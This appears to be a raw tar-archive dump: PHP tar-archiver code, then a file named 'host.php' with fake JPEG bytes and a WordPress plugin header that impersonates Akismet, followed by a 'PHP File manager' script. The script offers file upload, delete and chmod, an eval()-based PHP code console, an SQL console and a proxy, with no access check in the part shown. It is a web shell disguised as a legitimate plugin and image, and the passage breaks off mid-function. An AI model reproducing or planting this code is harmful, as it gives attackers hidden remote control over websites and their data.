			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                host.php                                                                                            0000644                 00000236720 15212004204 0006232 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       -%%-////---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ  ¥2" ÿÄ               ÿÄ J  	     ! 1AQ"aq2‘#BR‚¡ÁÑ3br’¢±Âð$CSƒ²á4c“%DsÓñÿÄ              ÿÄ *        !1AQa‘"2q3±ð#b¡ÿÚ   ? ¼QxJQaÍuò¸Zö Úü8,ÐÚú
"SSn<rçù–´âE—^ªBÖ9À\†¸ÔÁT­ÃÛ5
ëd´³Í#Ý;Þ38œî ¶H£M:wÎ3…³…âpÔF&‚FK¸9„â4àGEõªfÿ ‘ñ(ßw­pŽF|È¥ù®häðÍÑ¶¹‘[ÒinÙW¶ùñY˜Q{›K"išÒ[Ú8žë\F¹@-?v"ÔU”,ìöžkÿ {I‡£šÍ?e
ríV
..............................................................................................................................................................................
.............................................................................                                                  
                                                                                                                                                                                     ÿØÿà JFIF      ÿÛ „ 	 ( %!1!%)+//.383,7(-.+



-%%-////---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ  ¥2" ÿÄ               ÿÄ J  	     ! 1AQ"aq2‘#BR‚¡ÁÑ3br’¢±Âð$CSƒ²á4c“%DsÓñÿÄ              ÿÄ *        !1AQa‘"2q3±ð#b¡ÿÚ   ? ¼QxJQaÍuò¸Zö Úü8,ÐÚú
"SSn<rçù–´âE—^ªBÖ9À\†¸ÔÁT­ÃÛ5
ëd´³Í#Ý;Þ38œî ¶H£M:wÎ3…³…âpÔF&‚FK¸9„â4àGEõªfÿ ‘ñ(ßw­pŽF|È¥ù®häðÍÑ¶¹‘[ÒinÙW¶ùñY˜Q{›K"išÒ[Ú8žë\F¹@-?v"ÔU”,ìöžkÿ {I‡£šÍ?e
ríV
.....................................................................................................................................<?php
/**
 * @package Akismet
 */
/*
Plugin Name: Sid Gifari SEO Code Uplaoder
Plugin URI: 
Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from spam</strong>. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key.
Version: 5.4
Requires at least: 5.8
Requires PHP: 7.2
Author: Sid Gifari SEO Code Uplaoder - Team= Gifari Industries - BD Cyber Security Team
Author URI: 
*/

		/*  %s: Title of the post the attachment is attached to. */
		

/*
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.

Copyright 2005-2025 Automattic, Inc.
*/

?>
.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
